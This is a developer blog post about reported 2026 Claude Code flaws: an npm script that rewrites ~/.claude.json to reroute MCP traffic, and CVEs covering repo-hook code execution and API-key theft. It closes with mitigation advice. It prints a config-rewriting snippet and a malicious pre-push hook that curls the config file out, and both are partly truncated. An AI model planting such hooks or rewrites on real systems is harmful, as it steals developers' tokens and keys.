DEV Community

Cover image for Claude Code’s security risks involve local configs, MCP, and repo hooks vulnerabilities
Dave Kurian
Dave Kurian

Posted on • Originally published at otf-kit.dev

Claude Code’s security risks involve local configs, MCP, and repo hooks vulnerabilities

Claude Code security vulnerabilities emerged as a central threat vector for developer teams in 2026. Unlike browser-based phishing, these exploits target the heart of developer operations—turning config files, repos, and seemingly passive integrations into live attack surfaces. If you write code with Claude Code, the 2026 exploits aren’t distant risks—they’re sitting on your terminal. This post dissects the most consequential vulnerabilities, answers the key questions for remediation, and makes the case for active defense.

What are the Claude Code security vulnerabilities disclosed in 2026?

Three main disclosures define the 2026 Claude Code security picture: a live token-theft chain uncovered by Mitiga Labs, and two patched CVEs—CVE-2025-59536 and CVE-2026-21852—reported by Check Point Research. Together they show how easy it is for attackers to compromise not just your code but your keys, repo, and SaaS connections.

  • Mitiga Labs’ live token theft chain: This remains unpatched as of Thorsten Meyer’s June 2026 AI dispatch. A malicious npm package can rewrite a developer’s local ~/.claude.json, rerouting Claude Code’s Model Context Protocol (MCP) traffic. The consequence: theft of long-lived OAuth tokens that provide access to SaaS services like GitHub, Jira, and Confluence.
  • Check Point Research CVEs: Two vulnerabilities are detailed. CVE-2025-59536 enables remote code execution via repo hooks, and CVE-2026-21852 enables API-key exfiltration. Anthropic issued patches for both after coordinated disclosure.
  • Patch status: Per the report, only the Check Point CVEs are patched. The Mitiga Labs chain is out of Anthropic’s direct patch scope and remains exploitable in the wild.

Configuration files, hooks, and MCP integrations aren’t just engineering conveniences—they are top-tier risks. Developer environments exposed by these flaws could grant attackers production-level access with little friction.

[[DIAGRAM: How local config, MCP integration, and repo hooks form attack chains in Claude Code environments]]

How does the Mitiga Labs token-theft chain exploit Claude Code?

The Mitiga Labs attack chain abuses the implicit trust developers place in npm packages and local settings. This exploit is distinguished by its simplicity: a malicious npm dependency rewrites the main Claude Code configuration file, ~/.claude.json, with attacker-controlled values. From there it reroutes all authenticated MCP traffic, harvesting credentials at scale.

The full sequence:

  1. Malicious package install: A developer adds (or accidentally inherits) an npm package that includes malicious postinstall scripts.

  2. Config rewrite: The attack script updates or replaces ~/.claude.json, injecting modified MCP endpoints or authentication handlers:

    // Malicious script snippet
const fs = require('fs');
fs.writeFileSync(
  process.env.HOME + '/.claude.json',
  JSON.stringify({ mcpEndpoint: ' })
);

  3. Traffic reroute: All subsequent Claude Code MCP traffic—including authentication requests—now flow to the attacker's controlled endpoint.

  4. Token interception: When Claude Code session tokens or OAuth credentials (for GitHub, Jira, Confluence, or any other connected services) are used, they are proxied and logged by the attacker.

The reason this chain is both live and severe: Anthropic cannot patch third-party npm dependencies or restrict modifications to a user’s config in homespace. The attack exploits standard Node.js behaviors and permissions, which means mitigation must happen at the developer and organizational level.

If a valid OAuth token is snatched:

  • Attacker actions blend with legitimate activity. No suspicious login flags, as tokens ride via approved infrastructure.
  • Access can span code repositories, internal APIs, cloud tooling, and, depending on token scope, even production systems.

This exploit is proof that agent-level automation must be secured as rigorously as any privileged credential. Otherwise, token theft from something as basic as a config file rewrite can compromise the entire development pipeline.

What are the details and impacts of the Check Point CVEs?

Check Point Research named two distinct vulnerabilities in Claude Code, both of which carried the ability for deep compromise but were fixed by Anthropic after disclosure. These are textbook examples of how developer automation can open the door to remote adversaries.

  • CVE-2025-59536:

    This bug allowed remote code execution through repository hooks. If an attacker could introduce or manipulate a repo hook (for example, by social engineering access or via a dependency), they could trigger arbitrary commands on the developer’s machine whenever the agent syncs with the repository.

    Core risk: A malicious hook executes in the context of agent operations, often with permissions to source, build, and deployment tooling.

  • CVE-2026-21852:

    This is a classic API-key exfiltration path. The attacker, exploiting unguarded integration points, siphons API keys out of the local agent context, potentially without triggering any alarms.

    Future impact: With exfiltrated keys, the attacker can impersonate the developer or trigger downstream automation, broadening the impact far beyond a single device.

Both vulnerabilities were patched by Anthropic following Check Point’s disclosure, closing the direct exploit paths. The research and rapid patching underscore a key reality: these orchestration agents are attractive targets, and a quick fix cycle is mandatory. For organizations, the difference between "patched" and "live" is the line between a routine update and a headline breach.

Why are local config files and repository hooks critical attack surfaces for Claude Code?

Claude Code’s operational model puts tremendous trust in local files and hooks. The design is predicated on developer convenience—settings live in ~/.claude.json, while repo hooks automate pulls, pushes, and custom automations. But trust is the exact axis attackers compromise.

  • ~/.claude.json role: This config file stores MCP endpoints, authentication details, and integration context. Change it, and you change where tokens go and which endpoints execute your agent logic. Developers rarely check file integrity after install.
  • Repo hooks: These are scripts executed automatically on key git operations. If an attacker can implant a hook (through a compromised dependency, poisoned template, or over-permissive sharing), that script runs in the full context of the agent.

Concrete attack scenario:

# Malicious npm dependency drops a pre-push hook
echo 'curl  --data @/home/user/.claude.json' > .git/hooks/pre-push
chmod +x .git/hooks/pre-push
Enter fullscreen mode Exit fullscreen mode

On the next git push, sensitive credentials are exfiltrated—no UI popup, no warning.

Best practices:

  • Treat all local agent config files as secrets—monitor, checksum, and restrict modifications.
  • Enforce signed/verified repo hooks when possible.
  • Review .git/hooks after any package or template install.

Ignoring these practices is an open invitation. In Claude Code’s model, passive settings aren’t passive—if you don’t own the pipeline end-to-end, you don’t own your tokens.

How can developers protect themselves from Claude Code security risks today?

Mitigation is possible, but it requires discipline and action—neither a vendor patch nor wishful thinking will lock you down. Remediation divides neatly between vendor-patched and operator-controlled risk.

1. Update to latest Anthropic patches:

Anthropic’s security releases address CVE-2025-59536 and CVE-2026-21852. If you run Claude Code, patch levels matter:

# Always upgrade to the latest Anthropic release
npm install -g @anthropic/claudecode@latest
Enter fullscreen mode Exit fullscreen mode

Check Anthropic’s official changelog before rolling out to CI.

2. Audit local config and hook files:

  • Validate the checksum of ~/.claude.json after any dependency or template install.
  • Purge unrecognized entries and ensure endpoints match official MCP servers.

  • Regularly inspect the .git/hooks directory:

    ls -l .git/hooks/
# Review for newly created or modified scripts

3. Monitor dependency tree:

Before adding any new npm package:

npm audit
npm ls --long
Enter fullscreen mode Exit fullscreen mode

Prioritize packages with regular maintenance and avoid modules with a sudden spike in downloads or recent ownership changes.

4. Harden OAuth and API tokens:

  • Use least-privilege scopes for tokens linked between Claude Code and SaaS tools.
  • Prefer tokens with short lifetimes or session limits (when allowed).
  • Periodically review active tokens in GitHub, Jira, and Confluence dashboards.

5. Secure your SaaS integrations:

  • Enable 2FA everywhere possible.
  • Audit active device and session lists for your cloud tools.
  • Red-team your own setup: attempt edits to your config and hooks from a “guest” account to see what’s exposed.

For more detail and ongoing adjustments, read “Understanding OAuth Token Security for Developers”, “Best Practices for Securing Developer Environments”, and “Top Developer Tools Vulnerabilities and How to Patch Them".

Attacker pipeline: what’s at stake if you ignore this risk?

If any of the above fails, you lose control at the point where trust and automation intersect:

  • A compromised ~/.claude.json reroutes secrets everywhere your agent is connected.
  • A poisoned hook turns every commit into a small backdoor.
  • A single privileged token exfiltrated via MCP or a repo hook grants lateral access—your source, your SaaS, your APIs.

In dev toolchains, the line between "automates my day" and "compromises my company" is thinner than ever. Each patch, each audit closes a door attackers will otherwise pry open.

Closing

Claude Code security vulnerabilities in 2026 are a watershed for the entire AI coding agent ecosystem. The attack chains uncovered—live token theft by Mitiga Labs, patched remote code execution and key export CVEs by Check Point—proved that developer environments are as much a target as production servers. The key move is recognizing that agent config files, repo hooks, and MCP integrations can’t be treated as harmless preferences. Review, patch, and monitor—don’t assume your local setup is safe out of the box.

The safest path is to always be updating, auditing, and segmenting tokens. Make active defense the default—and stay one step ahead of the tooling churn. The vulnerabilities have been mapped. Your job is to close the routes before they turn into an incident.

Top comments (0)